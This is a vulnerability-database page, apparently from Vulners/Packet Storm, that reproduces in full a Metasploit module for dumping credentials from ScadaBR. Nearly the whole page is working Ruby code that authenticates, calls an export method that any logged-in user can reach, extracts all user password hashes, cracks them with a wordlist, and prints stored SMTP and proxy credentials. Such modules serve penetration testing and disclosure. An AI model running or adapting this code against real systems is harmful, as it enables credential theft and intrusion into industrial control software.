Lucene search
K

ScadaBR Credentials Dumper

🗓️ 31 Aug 2024 00:00:00Reported by Brendan Coles, metasploit.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 355 Views

This module retrieves credentials from ScadaBR by invoking the EmportDwr.createExportData DWR method of Mango M2M, which is exposed to all authenticated users regardless of privilege level. Successfully tested with ScadaBR versions 1.0 CE and 0.9 on Windows and Ubuntu

Code
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Auxiliary::Report  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'ScadaBR Credentials Dumper',  
'Description' => %q{  
This module retrieves credentials from ScadaBR, including  
service credentials and unsalted SHA1 password hashes for  
all users, by invoking the `EmportDwr.createExportData` DWR  
method of Mango M2M which is exposed to all authenticated  
users regardless of privilege level.  
  
This module has been tested successfully with ScadaBR  
versions 1.0 CE and 0.9 on Windows and Ubuntu systems.  
},  
'Author' => 'bcoles',  
'License' => MSF_LICENSE,  
'References' => ['URL', 'http://www.scadabr.com.br/?q=node/1375'],  
'DisclosureDate' => '2017-05-28'  
)  
)  
register_options([  
Opt::RPORT(8080),  
OptString.new('USERNAME', [ true, 'The username for the application', 'admin' ]),  
OptString.new('PASSWORD', [ true, 'The password for the application', 'admin' ]),  
OptString.new('TARGETURI', [ true, 'The base path to ScadaBR', '/ScadaBR' ]),  
OptPath.new('PASS_FILE', [  
false, 'Wordlist file to crack password hashes',  
File.join(Msf::Config.data_directory, 'wordlists', 'unix_passwords.txt')  
])  
])  
end  
  
def login(user, pass)  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'login.htm'),  
'method' => 'POST',  
'cookie' => "JSESSIONID=#{Rex::Text.rand_text_hex(32)}",  
'vars_post' => {  
'username' => Rex::Text.uri_encode(user, 'hex-normal'),  
'password' => Rex::Text.uri_encode(pass, 'hex-normal')  
}  
})  
  
unless res  
fail_with(Failure::Unreachable, "#{peer} Connection failed")  
end  
  
if res.code == 302 && !res.headers['location'].include?('/login.htm') && res.get_cookies =~ /JSESSIONID=([^;]+);/  
@cookie = res.get_cookies.scan(/JSESSIONID=([^;]+);/).flatten.first  
print_good("#{peer} Authenticated successfully as '#{user}'")  
else  
fail_with(Failure::NoAccess, "#{peer} Authentication failed")  
end  
end  
  
def export_data  
params = [  
'callCount=1',  
"page=#{target_uri.path}/emport.shtm",  
"httpSessionId=#{@cookie}",  
"scriptSessionId=#{Rex::Text.rand_text_hex(32)}",  
'c0-scriptName=EmportDwr',  
'c0-methodName=createExportData',  
'c0-id=0',  
'c0-param0=string:3',  
'c0-param1=boolean:true',  
'c0-param2=boolean:true',  
'c0-param3=boolean:true',  
'c0-param4=boolean:true',  
'c0-param5=boolean:true',  
'c0-param6=boolean:true',  
'c0-param7=boolean:true',  
'c0-param8=boolean:true',  
'c0-param9=boolean:true',  
'c0-param10=boolean:true',  
'c0-param11=boolean:true',  
'c0-param12=boolean:true',  
'c0-param13=boolean:true',  
'c0-param14=boolean:true',  
'c0-param15=boolean:true',  
'c0-param16=string:100',  
'c0-param17=boolean:true',  
'batchId=1'  
]  
  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'dwr/call/plaincall/EmportDwr.createExportData.dwr'),  
'method' => 'POST',  
'cookie' => "JSESSIONID=#{@cookie}",  
'ctype' => 'text/plain',  
'data' => params.join("\n")  
})  
  
unless res  
fail_with(Failure::Unreachable, "#{peer} Connection failed")  
end  
  
config_data = res.body.scan(/dwr.engine._remoteHandleCallback\('\d*','\d*',"(.+)"\);/).flatten.first  
  
unless config_data  
fail_with(Failure::UnexpectedReply, "#{peer} Export failed")  
end  
  
print_good("#{peer} Export successful (#{config_data.length} bytes)")  
  
config_data  
end  
  
def load_wordlist(wordlist)  
return unless File.exist?(wordlist)  
  
File.open(wordlist, 'rb').each_line do |line|  
@wordlist << line.chomp  
end  
end  
  
def crack(user, hash)  
return user if hash == Rex::Text.sha1(user)  
  
@wordlist.each do |word|  
return word if hash == Rex::Text.sha1(word)  
end  
  
nil  
end  
  
def run  
login(datastore['USERNAME'], datastore['PASSWORD'])  
  
config = export_data  
  
path = store_loot('scadabr.config', 'text/plain', rhost, config, 'ScadaBR configuration settings')  
print_good("Config saved in: #{path}")  
  
begin  
json = JSON.parse(config.gsub(/\\r/, '').gsub(/\\n/, '').gsub(/\\"/, '"').gsub(/\\'/, "'").gsub(/\\\\/, '\\').gsub(/\\\r?\n/, ''))  
rescue StandardError  
fail_with(Failure::UnexpectedReply, "#{peer} Could not parse exported settings as JSON.")  
end  
  
service_data = {  
address: rhost,  
port: rport,  
service_name: (ssl ? 'https' : 'http'),  
protocol: 'tcp',  
workspace_id: myworkspace_id  
}  
  
user_cred_table = Rex::Text::Table.new(  
'Header' => 'ScadaBR User Credentials',  
'Indent' => 1,  
'Columns' => ['Username', 'Password', 'Hash (SHA1)', 'Role', 'E-mail']  
)  
  
users = json['users']  
  
if users.empty?  
print_error('Found no user data')  
else  
print_good("Found #{users.length} users")  
@wordlist = *'0'..'9', *'A'..'Z', *'a'..'z'  
@wordlist.concat(['12345', 'admin', 'password', 'scada', 'scadabr', datastore['PASSWORD']])  
load_wordlist(datastore['PASS_FILE']) unless datastore['PASS_FILE'].nil?  
end  
  
users.each do |user|  
username = user['username']  
  
next if username.blank?  
  
admin = user['admin']  
mail = user['email']  
hash = Rex::Text.decode_base64(user['password']).unpack('H*').flatten.first  
pass = crack(username, hash)  
user_cred_table << [username, pass, hash, (admin ? 'Admin' : 'User'), mail]  
  
creds = {  
origin_type: :service,  
module_fullname: fullname,  
username: username  
}.merge(service_data)  
  
if pass  
print_status("Found weak credentials (#{username}:#{pass})")  
creds.merge!({  
private_type: :password,  
private_data: pass  
})  
else  
creds.merge!({  
private_type: :nonreplayable_hash,  
private_data: "{SHA}#{user['password']}"  
})  
end  
  
login_data = {  
core: create_credential(creds),  
access_level: (admin ? 'Admin' : 'User'),  
status: Metasploit::Model::Login::Status::UNTRIED  
}.merge(service_data)  
  
create_credential_login(login_data)  
end  
  
service_cred_table = Rex::Text::Table.new(  
'Header' => 'ScadaBR Service Credentials',  
'Indent' => 1,  
'Columns' => ['Service', 'Host', 'Port', 'Username', 'Password']  
)  
  
print_line  
print_line(user_cred_table.to_s)  
  
unless json['systemSettings'].nil?  
system_settings = json['systemSettings'].first  
  
unless system_settings['emailSmtpHost'] == '' || system_settings['emailSmtpUsername'] == ''  
smtp_host = system_settings['emailSmtpHost']  
smtp_port = system_settings['emailSmtpPort']  
smtp_user = system_settings['emailSmtpUsername']  
smtp_pass = system_settings['emailSmtpPassword']  
print_good("Found SMTP credentials: #{smtp_user}:#{smtp_pass}@#{smtp_host}:#{smtp_port}")  
service_cred_table << ['SMTP', smtp_host, smtp_port, smtp_user, smtp_pass]  
end  
  
unless system_settings['httpClientProxyServer'] == '' || system_settings['httpClientProxyUsername'] == ''  
proxy_host = system_settings['httpClientProxyServer']  
proxy_port = system_settings['httpClientProxyPort']  
proxy_user = system_settings['httpClientProxyUsername']  
proxy_pass = system_settings['httpClientProxyPassword']  
print_good("Found HTTP proxy credentials: #{proxy_user}:#{proxy_pass}@#{proxy_host}:#{proxy_port}")  
service_cred_table << ['HTTP proxy', proxy_host, proxy_port, proxy_user, proxy_pass]  
end  
  
print_line  
print_line(service_cred_table.to_s)  
end  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation